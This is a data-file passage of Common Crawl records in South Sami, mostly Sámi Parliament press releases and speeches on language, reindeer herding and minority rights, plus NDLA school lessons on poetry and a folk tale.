jeahta.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Byjrese-areaale-jih-kultuvrevaarjelimmie\/Sjidtemegievlieh-soptsestieh","date":"2019-05-25T04:51:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00396.warc.gz","language":"sma","language_score":0.9999440908,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999440908432007}","num_words":300,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjæjsjalimmie stuerebe nuepieh vadta åarjelsaemien utniehtidh goh akte jielije gïele aaj båetijen aejkien.\nRørosen tjïelte lea dïhte njealjede åarjelsaemien tjïelte mij meatan vaaltasåvva saemien gïelen reeremedajven sïjse, jïh sæjhta dej golme jeatjah tjïeltigujmie vihkeles laavenjostoeguejmine Saemiedægkan sjïdtedh juktie åarjelsaemien vaarjelidh jïh evtiedidh.\nSaemien gïelen reeremedajvesne saemien jïh nöörjen leah mïrrestalleldh gïelh. Daate sæjhta jiehtedh gaajhkesh dovnesh reaktam utnieh viehkiem åadtjodh saemien gïelesne gosse gaskesem vaeltieh tjïeltine jallh jeatjah byögkeles etaatigujmie.\n–Mijjieh sïjhtebe Rørosen tjïeltem jïh årroejidie læhkoehtidh dah leah meatan vaaltasovveme jïh aavoedibie åarjelsaemien gïeleskreejremen bïjre laavenjostedh, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Aavoesaernie-Roeros-saemien-gielen-reeremedajven-sijse","date":"2019-05-25T20:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00012.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":89,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gieries gaajhkesh dovnesh,\nManne daam orrejaepiehåalomem aalkam soptsesinie 96 jaepien båeries Agnethe Nikoline Margrete Hansen Loråsen bïjre. 70 jaepieh dïhte sov saemien maadtoem tjïeki. Goh maana dïhte Fálesnuorrisne\/Kvalsund byjjeni dan garre daaroedehtemeboelhken, gusnie åadtjoeji lïeredh dïhte saemien idtji naan aarvoem utnieh. Daan biejjien daejrebe jeenjesh mijjen almetjijstie dam vædtsoeh stillemem staateste goltelin.\nDah gaptide noeledin, orrijin saemiestidh jïh saemien identiteetem tjïekin.\nMen daelie naakenh dejstie leah aalkeme sijjen saemien maadtoen bïjre soptsestidh, goh Agnethe. Sïjhtem Agnethem gijhtedh dan åvteste dïhte lea doesteme, jïh manne vaajtelem dovne Agnethe jïh altese fuelhkie gaarhkh utnieh juktie jåerhkieh geatskanidh dam saemien kultuvrem.\nMaehtebe veanhtadidh jienebh dagkerh plearoeh soptsesh jieliedistie govledh gosse Saetniesvoete- jïh måahtadimmiekommisjovne daelie aalka salkehtidh guktie dïhte guhkies daaroedehtemepolitihke lea mijjem tsavtseme jïh annje mijjen tsavtsa. Daaroedehteme lea akte bielie Nöörjen histovrijistie, jïh ij leah ajve saemien jallh kveenen histovrije. Mijjieh aktem ektie goerkesem åvtetje tïjjeste daarpesjibie, jïh mijjieh daarpesjibie doh vaanesovmh dan saemien vööste gïetedidh mah leah sertiestovveme boelveste boelvese.\nJienebelåhkoen siebriedahke tjuara aaj sijjen bieliem dïedteste vaeltedh daennie prosessesne, jïh easkah dellie maehtebe måahtadidh: daaroeh jïh saemieh. Manne gegkestem mijjieh jearsoesvoetine mijjen dååjrehtimmiej bïjre soptsestibie jïh stoerresiebriedahke seammalaakan dejtie ræhpas mïeline dååste.\nMijjen soptsesh jïh mijjen gïelh leah goekije skaehtieh mijjen tjaebpemes gæstosne. Dah mijjen våaromem vihtiestieh goh akte raastehts åålmege, geerjehtamme njieljie laanti bijjeli. Dej saemien gïeli tjïrrh maehtebe aelhkieslaakan dovne laavenjostedh jïh govlesadtedh. Doh saemien gïelh mijjem ektiedieh goh akte åålmege jïh jieliemassem mijjen gellievoetese vedtieh.\nDaan jaepien aavoedibie gïeli gellievoetem, juktie lea Ektiedamme Nasjovni gaskenasjonaale jaepie aalkoealmetjegïelide. Dïhte mijjese aktem hijven nuepiem vadta aktem lissie barkoem darjodh juktie mijjen gïelh vaarjelidh jïh eevtjedh.\nMov nïekedasse lea saemien gïelh aaj nuepiem åadtjoeh funksjonelle gïeline årrodh aktene digitaale tïjje-aaltarisnie, guktie mijjieh aaj maehtebe gaajhkh doh teknologeles, daajbaaletje dïrregh jïh viehkievierhtieh nuhtjedh – saemiengïelesne. Sïjhtem haestedh dejtie mah tjoevtenji nille tjahkasjieh daejtie okside mijjese rïhpestidh.\nSaemiedigkie daelie gellie gïeleråajvarimmiejgujmie nearhka «Gïelelutnjemen» sjïekenisnie, mij lea mijjen gïelestrategije guhkiebasse, mij edtja sjïehteladtedh juktie doh saemien gïelh govlesuvvieh, åtnasuvvieh jïh leah våajnoes siebriedahkesne. Manne daejnie bööredem gaajhkesidie meatan årrodh daennie gïelebarkosne. Saemesth, guktie mijjen gïelh åadtjoeh evtiesovvedh jïh mijjen båetije aejkie maahta veaksahkåbpoe sjïdtedh.\nMijjieh faamoeh daarpesjibie mah baalkam tjoevkesjieh gosse goh jemhkielommes, mah mijjen båetijen aejkien åvteste gæmhpoeh jïh mah vaarjelieh gosse snöölhke iktemearan låavta. Ovmessie snöölhkh mijjem låevtieh: dïhte kraevies soejvene mij mijjen kreekh vijreminie jïh doh beetnehnïerhtsh mah eajhnaduvvieh mijjen eatnemem ryövedh.\nJovsset Ánte Sara-aamhtese lea tjoevkesem bïejeme guktie nöörjen politihke båatsoesaemide akten yskerigs tseahkan beaja. Daate aamhtese mijjem haasta, dan åvteste dïhte aktem prinsihpeles gyhtjelassem buakta mejtie nöörjen laake saemiej almetjereaktah krööhkeste?\nGiehpiedimmieprosesse bovtsetaalen bïjre lea jeenjesidie tsavtseme, jïh jeenjesh leah sjaevehtsvoetesne læjjadamme. Doh viesjiesvoeth daan beajjetje båatsoelaakesne leah vihtiestamme dejstie aamhtesijstie mah reaktasuerkesne juhtieminie daelie. Dan åvteste Saemiedigkie rååresjimmesne Nöörjen Båatsoesaemiej Rijhkesiebrine aktem båatsoelaakemoenehtsem nammoehtamme mij edtja aktem ellies gïehtjedimmiem darjodh laakeste, aktede saemien perspektijveste. Sïjhtem vihth staatem haestedh meatan årrodh daennie barkosne mijjine ektine, gusnie möönsterem bigkebe mij gorrede saemieh jïjtjh åadtjoeh meatan årrodh jïjtsh jieleden jïh båetijen aejkien bijjeli nænnoestidh, jïh mij maahta bievnije sjïdtedh jeatjah jieliemidie båetijen aejkien.\nBåatsoesaemieh Åarjel Fovsen-Njarken sïjtesne leah sijjen tsevtsemefaamoereaktam krïeveme, sijjen barkosne bïegkefaamoebigkemem tjöödtjestidh dej gåatomelaantesne Fovsesne. Dah jiehtieh industrije dej jieliemassem håvhtede. EN:n Naeliesïerredimmiemoenehtse lea Nöörjem juvnehtamme gaajhkh el-faamoebigkemh tjöödtjestidh goske aamhtesem gaervies gïetedamme EN-systeemesne. Manne veanhtedem åejvieladtjh daam juvnehtimmiem goltelieh jïh estieh vuertedh.\nStoerresiebriedahke vaenie daajroem åtna dej saemien aamhtesi bïjre, dam aaj reaktasuerkesne vuejnebe. EN lea aaj Nöörjem juvnehtamme hoksedh riektieh nuekies daajroem saemien tsiehkiej bïjre utnieh.\nFaatoes daajroe akte dåeriesmoere sjædta aktegsalmetjidie mah vaanesovmh, nedtetrïegkenassem jïh intoleransem dååjroeh. Skuvle akte vihkeles dïrrege gæmhposne juktie båajhtoeh bïevnesh jïh aassjoejiehtegh nåhkehtidh.\nManne joekoen gijhteles dan åvteste mijjen leah væjkeles faagealmetjh meatan dennie nasjonaale barkosne learoesoejkesjidie orrestidh nöörjen maadthlïerehtæmman, juktie skuvle dïhte mij mijjen maanah jïh noerh hammoedieh jïh ööhpehtieh. Saemien faagealmetjh aktem joekoen stoerre barkoem darjoeh juktie hijven jïh reaktoe saemien sisvegem hoksedh gaajhkine faagine, gaajhkide learoehkidie. Maahta sæjlodh gosse iktesth tjuara saemien aamhtesh tjïelkestidh jallh voebnesjidh. Aellede gåajparostede, mujhtede aaj doh unnemes mietiemoerh dan reaktoe otnjegen vööste tjuvtjiedieh.\nManne saemien siebriedahkem garmerdem mij daelie jïjtje lea aalkeme ræhpaslaakan soptsestidh vædtoesvoetedåeriesmoeri bïjre. Naemhtie jiehtebe mijjieh ibie dagkeres tsiehkiem jååhkesjh. Mijjieh tjoerebe laavenjostoen tjïrrh stoerresiebriedahine vaestiedassem åadtjodh man saemien årrojh sagke stuerebe vaahram utnieh vædtsoesvoetem dååjredh goh jienebelåhkoen årrojh, jïh mijjieh sjïehtedamme råajvarimmieh daarpesjibie mah maehtieh dam tsiehkiem nåhkehtidh. Vædtsoesvoete ij leah jååhkesjamme saemien kultuvresne jïh daah aamhtesh eah edtjh åadtjodh mijjem tjïelkestidh goh akte åålmege. Sïjhtem dijjem gijhtedh mah dan ræhpaslaakan dijjen soptsesh soptsestamme, dijjieh lidie veaksehke jïh mavvas. Manne geerjene sjïdtem gosse govlem naakenh dijjeste jiehtieh ræhpasvoete dijjese gaarhkh jïh faamoeh vadta.\nMijjieh aaj aalkeme vielie psykiske healsoen bïjre soptsestidh. Mijjen noerh dan dovres jïh ibie reeskh dassedh ajve aktem dejstie goh. Mov vaajmoe tjyöre gosse noeri bïjre govlem mah eah leah ååjseme jieledh vielie. Ibie gåessie gih tjoerh orrijidh dan teeman bïjre soptsestidh. Tjoerebe dovteginie årrodh sinsætnan gosse jielede leevles domtoe, vuesiehtidh mijjieh pryöjjadibie jïh hoksem vuesiehtidh.\nGieries saemieh,\nSïjhtem garmerdidh dijjem mah saemien jieledem aarkebiejjien jååhkesjieh. Dijjieh mah saemien aajmoem vuesiehtieh saaht gusnie dijjieh lidie: stoerre staarine jallh smaave voenine.\nManne geerjene dan åvteste dïhte skaamoe mejnie daam håalemem nïerhkim, ij vielie diedtieh mijjen almetjh. Dam tjïelkelaakan vuejnebe gosse saemieh sijjen iemie sijjiem gaevnieh veartenen scenine. Mijjieh dam mijjen sisnie damtebe gosse mijjen tjeahpoe, mijjen tjoejh jïh mijjen vuelieh -, jååhkesjamme sjidtieh jïh lyjhkesuvvieh jïh sjollehtimmieaarvoem utnieh aaj saemien siebriedahken ålkolen. Viehkine jïjtjene kultuvreste maehtebe goerkesem jïh vïenevoetem bigkedh.\nBuorre ođđa giellajahki!\nBuorre ådå giellajahke!\nBuerie orre gïelejaepie!","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkiepresidenten-orrejaepienhaaalome","date":"2019-05-25T21:55:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00060.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":900,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mubpesth jiehtedh joekoen aelhkies vuekiem nuhtjedh diktine. Mijjieh maehtebe mubpesth jiehtedh tjoejh, jievkehtimmieh, baakoeh, raajesh jïh boelhkh. Dam maam tjaelije mubpesth jeahta maahta öövre seammalaakan årrodh jallh ånnetji jeatjahlaakan.\nLuste mubpesth jiehtedh\nMaanah lyjhkoeh maam akt mubpesth jiehtedh, jïh dah tuhtjieh luste jiehtedh daam maam mijjieh jiehtebe. Åse Klemensson diktesne Aanna maahta vuesehte guktie maehtebe daam vuekiem aelhkieslaakan nuhtjedh.\nAanna maahta\nAanna maahta\nAanta maahta\nAajkohke maahta\nAajja maahta\nAabpelsijne ij maehtieh.\nAaltoe ij maehtieh.\nAarhtse ij maehtieh.\nAajroe ij maehtieh.\nMaam eah maehtieh?\nAalfabetem lïeredh.\nGaaje jïh jievkehtimmie maehtieh vihkeles gïeleviehkie-dïrregh årrodh aktene diktesne. Jïh gosse tjaelije maam akt mubpesth jeahta dellie daate gïeleviehkie-dïrrege aktem estetihke dååjresem mijjese, goltelæjjide, vadta. Dan åvteste mijjieh gaajh jïh jievkehtimmieh gåajhtsedibie goh faavroe jallh gieltegs.\nAelhkebe mujhtedh\nGosse mijjieh maam akt gellien aejkien vuejnebe jallh govlebe dellie aelhkebe mijjese mujhtedh. Jïh gosse mijjieh maam akt mubpesth jiehtebe dellie sïjhtebe goltelæjjah jallh lohkijh edtjieh baakoeh, raajesh jallh sjïere boelhkh buerebe mujhtedh. Gellie laavlomh reefrengh utnieh, boelhkh mah mijjieh ikth vielie jallh gellien aejkien laavlobe. Naemhtie mijjieh voestegh daejtie refreengide lïerebe. Gosse tjaelije maam akt mubpesth jeahta dïhte aaj ektievoetem tjaalegisnie skaepede. Gosse gellie vierse-boelhkh aktene diktesne seammalaakan tseegkeme dellie guarkebe dah ektesne govlesuvvieh. Gosse mubpesth maam akt jiehtieh dellie mijjieh maallem darjobe, guktie tjaalehtjimmesne jïh duedtine.\nNænnoestehtedh\nGosse mijjieh maam akt mubpesth jiehtebe dellie mijjieh aaj nænnoestehtebe dam maam jiehtebe. Maana-baeleste mijjieh gujht lïereme: Gåahtam sïjhtem, aehtjie! Gåahtah! Gåaahtaah! Gaajhkesh mah retorihkem maehtieh, daejrieh guktie edtjieh dam vuekiem nuhtjedh.\nJulius Cæsar jeehti:\nManne böötim, manne vööjnim, manne vitnim.\nAnafovre\nGosse raajesh jallh raajese-lïhtsh, mah raajrosne båetieh, seammalaakan aelkieh, dellie mijjieh dam gåhtjobe anafovre. Ella Holm Bull aaj dam seamma gïeleviehkie-dïrregem nuhtjeme diktesne Sirrieh.\nSirrieh, sirrieh, sirrieh plaave sirrieh.\nSirrieh, sirrieh, sirrieh sieties sirrieh.\nSirrieh, sirrieh, sirrieh njaelkies sirrieh.[1]\nGieltegåbpoe sjædta\nGosse mijjieh heamturh lohkebe dellie aelhkie gaavnedh dam maam almetjh gellien aejkien jeahteme jallh dorjeme. Heamturisnie heartoehtæjja tjuara gellie laavenjassh darjodh – daamtaj golme laavenjassh – åvtelen hijven gåarede. Heamture gieltegåbpoe sjædta dan åvteste dam maam heartoehtæjja tjuara darjodh gïerve-gïervebe sjædta, jïh aaj dan åvteste lohkije tjuara guhkebem vuertedh eannan åådtje daejredh guktie gåarede. Daamhtaj gellie almetjh tjuerieh seamma laavenjassem gellien aejkien darjodh guktie heamturisnie Govnebuatskan bïjre. Govnebuatskan göökte vïellh, men ajve Govnebuatska ååjse darjodh dam maam dah edtjieh darjodh. Daennie heamturisnie dah tjuerieh maam akt seammalaakan darjodh juktie mijjieh åadtjobe vuejnedh eah dah vïelletjh leah seammalaakan, jïh eah seammalaakan dåemedh. Govnebuatska stoerre heartoehtæjjine sjædta dan åvteste vïelletjh aajhpehtuvvieh.\nBaakoeh\nSaemien\nDaaroen\ngåajhtsedidh\noppfatte\ngaaje\nklang\njievkehtimmie\nrytme\nnænnoestehtedh\nstyrke noe\nheartoehtæjja\nhelt\n- 1«Ov-messie darjomes». Bull, Ella Holm. Iđut. 2000.\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\n- Kjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:157584","date":"2019-05-27T04:35:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232260658.98\/warc\/CC-MAIN-20190527025527-20190527051527-00012.warc.gz","language":"sma","language_score":0.9999688864,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999688863754272}","num_words":464,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse saemien noerekonferansem tjïrrehte, dellie Árran sæjhta aktem sjïere fokusem noeride bïejedh Divtasvuodna-aamhtesen mænngan. Dah sijhtieh fokusem utnedh jearsoesvoetese; jearsoesvoetem utnedh jïjtsh raasti bïjre, Divtasvuodneste årrodh, jïjtse identiteeten bïjre saemine årrodh, jïjtsh kultuvrem garmerdidh, vyörtegsvoete, håhkojne jïh jaahkojne båetijen aajkan.\n– Areena noeride lea vihkeles, jïh joekoen vihkeles areena sjugniesåvva gusnie noerh åadtjoeh dovne sisvegem hammoedidh jïh soptsestidh dan bïjre mij lea vihkeles. Manne geerjene Árran jïh Doajmmasiebbre Julevsábme (DSJ) leah daam skraejriem vaalteme, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nNoerekoferansesne edtja sjyöhtehke teema årrodh, goh raasth bïejedh, dïhte tjaebpies seksualiteetine, jïh guktie sinsitniem gorredidh, jïh raasth flöörtadimmien jïh trïegkenassen gaskem. Konferanse akte bielie prosjekteste Jasska\/Trygg.\nAkte vihkeles aspekte daennie konferansine lea sjaavnjoe aktem areenam buektiehtidh gusnie maanaj jïh noeri identiteete veaksahkåbpoe dorjesåvva, darjomi tjïrrh gusnie saemien jïh kultuvre leah jarngesne, jïh viehkiehtidh jearsoesvoetem jïh garmeresvoetem dåarjoehtidh jïjtse saemien identiteeten bïjre.\n– Saemiedigkie vuajna vihkeles teemah mij bæjjese vaaltasuvvieh konferansesne. Divtasvuodna-aamhtesen mænngan jeenjesh gellie gyhtjelassh utnin, jïh gellie negatijve domtesh jïh ålvehtassh. Hijven Árran sæjhta fokusem bïejedh seksualiteetese jïh seksuelle daarjesjimmide goh teema, gusnie noerh leah ulmiedåehkie, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta, jïh Árranem dejnie guhkiebasse barkojne læhkohte.\nGihtjehtimmieh jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, mob. 917 42 161","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Daaarjoe-noerekonferansese-seksualiteeten-jih-seksuelle-daaresjimmiej-bijre","date":"2019-05-25T21:08:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00476.warc.gz","language":"sma","language_score":0.999986887,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999868869781494}","num_words":194,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Gosse Gårroehbielie meatan sjïdti reerenassesne dæjman dellie saahtah loeveni åarjelsaemien kultuvregåatan Saemien Sijte Snåasesne. Gosse Kristeles Åålmegekrirrie lea bååstede reerenassesne dellie maehtebe hov mietiemoerem veanhtadidh dejnie barkojne mah daelie juhtieminie jïh lissiehtamme saemiepolitihkeles syjhtedassh, saemiedigkiepresidente Aili Keskitalo jeahta, jïh tjïerteste Bondevik 2-reerenassen nuelesne, gusnie KrÅå, Åelkiesbielie jïh Gårroehbielie lin meatan, gaskem jeatjah finnmaarhkelaake, konsultasjovnevuekieh jïh Saemien tsïeglh böötin.\n– Mijjieh annje gellie krïevije aamhtesi uvte tjåadtjobe mah leah mijjen saemiej bïjre, jïh hævvi veanhtadimmieh utnebe akte orre reerenasse hijven illedahkh vadta mijjese saemide, Keskitalo minngemosth jeahta.\nGihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkiepresidentem, Aili Keskitalo, tell. +47 971 29 305","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Veanhtadimmieh-saemiepolitihkeles-syjhtedassi-bijre-orre-reerenassevaaaroemisnie","date":"2019-05-19T08:39:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232254731.5\/warc\/CC-MAIN-20190519081519-20190519103519-00220.warc.gz","language":"sma","language_score":0.9997045994,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9997045993804932}","num_words":93,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese gærjeste Lohkede saemien maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Jaepien 1993 gærja trygkesovvi. Daennie soptsesisnie åadtjoeh govledh mij heannadi goh kaarre edtji vïjvem veeljedh.\nKaare mij edtji vïjvem veeljedh\nAkte båatsoe-burrie kaarre aktem nïejtem utni. Dellie ussjede: Dagke ij annje daate mov nïejte ussjedeminie pruvredh.\nDam lij gujht dorjeme, jis lij barre guarkeme gïem dam edtji utnedh. Göökte baernieh deejri, dejtie gåabpatjahkide lyjhki, jïh idtji guarkah gænnah gåabpam dejstie edtji vaeltedh. Dam aehtjiebasse soptsesti, jïh dïhte gujht sïjhti govledh gïeh dah jis. Nåå dam gujht dle soptsesti.\nDïhte båeries kaarre dïhte aaj dejtie göökte baernide lyjhki. Numhtie dle idtji dïhte gænnah dallah guarkah bïhkedidh gåabpam edtji dle vaeltedh.\nAkten biejjien råtnoem veelti niestene. Goh lij dle gahtjehtamme dueljiem jïh ïerveme, dle stilli dam nïejtem edtji dïhte krovhtem tseegkedh, dah lïhtsh doeltehtidh. Goh dam dorjeme, dle stilli edtji dejtie sov baernide veedtjedh, mearan dle dïhte bearkoe-krovhte doelti.\nDïhte nïejte gujht vöölki jïh dejtie baernide bööri edtjigan båetedh dan sov gåatan. Råvnasjigan gujht sotnem jis gåabpatjahkide bööri.\nGoh dah baernieh dalvigan, dle aehtjemes dïhte dåastohte dejtie jïh dle jeahta: «Vuejneden tjihkedidien daagkoe, dellie galkeden manneste åadtjodh gåassodh.»\nIdtjigan dah såångedæjjah maam gænnah guarkah. Dle aehtjemes dan sov nïejtese jeehti: «Gåajvoeh dle bearkoem duhtie krovhteste guektien gaerien sïjse, jïh dle böörh dejtie mov guesside edtjijægan byöpmedidh.»\nDïhte nïejte gujht darjoeji guktie aehtjebe jeehti.\nGosse lin dle byöpmedamme, dle stilli dam nïejtem edtji prïhtjh-giebniem tseegkedh jïh ohtje prïhtjegem doeltehtidh. Gosse lin dle giebniem tseegkedh jïh ohtje prïhtjegem doeltehtidh. Gosse lin dle prïhtjegem jovkeme, dle gujht dle tjahkasjin soptsestallin. Ånnetji dle vöölkigan gåetede dah göökte såångedæjjah.\nGosse ligan dle vaadtsajamme, dle aehtjemes jeahta dan nïejtese vihth: «Dle edtjien vuartasjidh gåabpam dam galkh dejstie gööktesijstie vaeltedh jïjtjedh geellene.»\nDle dïhte aehtjebe dam aktem gaeriem vaalta dan sov askan, jïh dle dejtie måarojde veelti akti akti jïh vuartesje guktie lij sohpeme. Jïh dle jeehti: «Daelie vuajnah, daate mij daehtie gaereste byöpmedi, lea dejtie måarojde sohpeme dan eensilaakan goh, daate die maa gaahtsehks hosbåanta sjædta, aellieh dam goh vaeltieh.»\nJïh dle jeehti dan nïejtese vihth: «Vaeltieh dle diekie don mubpien såångedæjjan gaeriem, åadtjoem manne vuejnedh guktie jis dïhte måarojde sohpeme.» Ij lij gujht dïhte dan eensilaakan sohpeme guktie dïhte voestes. Dellie jeehti dan sov nïejtese: «Dellie vuajnah, dam galkh vaeltedh mij daehtie gaereste byöpmedi, daate boerehks hosbåanta sjædta.»\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\n- Kjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190222","date":"2019-05-26T04:40:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258621.77\/warc\/CC-MAIN-20190526025014-20190526051014-00371.warc.gz","language":"sma","language_score":0.9999756813,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999756813049316}","num_words":447,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Unnebelåhkoegïelelaakem\nOrre, tjåanghkoe laake mij proposisjovnesne uvtedin: Från erkännande till egenmakt – regeringens strategi för de nationella minoriteterna, rïjhkebiejjeste 2009 jaepesne veeltin jïh faamosne eelki tsïengelen 1:s biejjien 2010. Dïhte nommem åadtjoeji: Laake nasjonelleunnebelåhkoe- jïh unnebelåhkoegïeli bïjre (SFS 2009:724) jïh sjïdti aerebi unnebelåhkoelaaki gaavhtan, reaktan bïjre saemiengïele, såevmiengïele jïh meängielem nuhtjedh.\nUnnebelåhkoelaaken sïejhme moenedimmieh jallh maadthvaarjelimmie lea naemhtie ahte laake abpe laantesne jïh gaajhkide nasjonelle unnebelåhkojde leah. Dah vïjhte nasjonelle unnebelåhkojde leah saemieh, tornedaelieh. Sveerjensåevmieh, judah jïh romh. Unnebelåhkoegïelide leah saemiengïele, meängiele, såevmiengïele, jiddische jïh romani chibe. Saemide aaj aktem sjïere sijjem goh aalkoealmetjh Sveerjesne utnieh.\nMan gaavhtan saemiengïele, såevmiengïele jïh meängïele sjïere vaarjelimmiem unnebelåhkoelaakesne utnieh lea dan gaavhtan dah leah laantebiehkie- jallh unnbelåhkoegïelh histovriske jïh geografiske maadtoejgujmie Sveerjesne, jïh dah guaktah gïelide jiddische jïh romani chibe lægan territorielle ov-jearohke gïelh.\nMaadthvaarjelimmiem nænnoste unnebelåhkoegïelen aalkoe paragraafine, mij naemhtie juktie:\n• reeremeåajvaladtjh edtjieh gåessie daerpies bïevnedh dah nasjonelle unnebelåhkojde dej reaktaj bïjre naemhtie guktie laakesne (3 §) lea.\n• siebriedahke sjïere dïedtem utnieh ihke vaarjelidh jïh evtiedidh dah nasjonelle unnebelåhkoegïelide (4 §, jïh aaj 8 § gïelelaake)\n• siebriedahke edtjieh evtiedidh dah nasjonelle unnebelåhkoj nuepieh dej kultuvrem Sveerjesne utniehtidh jïh övtiedidh (4 §)\n• maanaj övtiedimmiem akten kulturelle identiteeteste jïh nuhtjemem altese unnebelåhkoegïeleste edtjieh sjïere evtiedidh (4 §)\n• reeremeåajvaladtjh edtjieh dah nasjonelle unnebelåhkojde nuepiem vedtedh gyhtjelasside tsevtsedh, mah dej bïjre leah jïh dan guhkiem guktie gåarede unnebelåhkoejgujmie gyhtjelassine digkiedidh (5 §)\nUnnebelåhkoelaaken sisvege lea aaj moenedimmieh garrebe vaarjelimmien bïjre, mij lea naemhtie ahte:\n• Gåessie aktem tjïeltem akten reeremedajvesne sijjem aarhskuvlesne faala jallh naemhtemes pedagogihke hoksem man bïjre skuvlelaakesne 25 kap. tjåådtje (2010:800) mij lissehte jallh faalen aarhskuvli gaavhtan, edtja tjïelte maanam faaledh gie åeliem åtna mij sijjem vaajta gusnie abpe jallh biehkiem darjosne 